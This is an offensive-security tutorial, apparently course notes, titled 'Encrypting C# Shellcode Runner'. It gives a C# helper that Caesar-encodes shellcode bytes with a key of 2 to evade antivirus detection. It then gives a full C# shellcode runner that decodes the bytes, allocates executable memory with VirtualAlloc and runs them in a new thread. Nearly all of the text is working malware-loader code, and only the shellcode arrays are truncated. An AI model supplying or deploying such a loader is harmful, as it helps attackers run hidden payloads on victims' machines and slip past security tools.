Encrypting C# Shellcode Runner

Encrypt shellcode

Using Ceasar cipher, using our project called Helper

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Helper
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[715] {0xfc,0x48,0x83,0xe4,0xd5 ...};
            byte[] encoded = new byte[buf.Length];

            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);

            foreach (byte b in encoded)
            {
                hex.AppendFormat("0x{0:x2}, ", b);
            }
            Console.WriteLine("The payload is: " + hex.ToString());

        }
    }
}

In this case Ceasar cipher with key of '2' is used.

Implement decoder into shellcode runner

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace ConsoleApp1
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        static void Main(string[] args)
        {
            byte[] buf = new byte[657] { 0xc9, 0xc4, 0xf2, 0xb7, 0xa4, 0x58, 0x01, 0xd7};

            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
            }

            int size = buf.Length;

            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            Marshal.Copy(buf, 0, addr, size);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}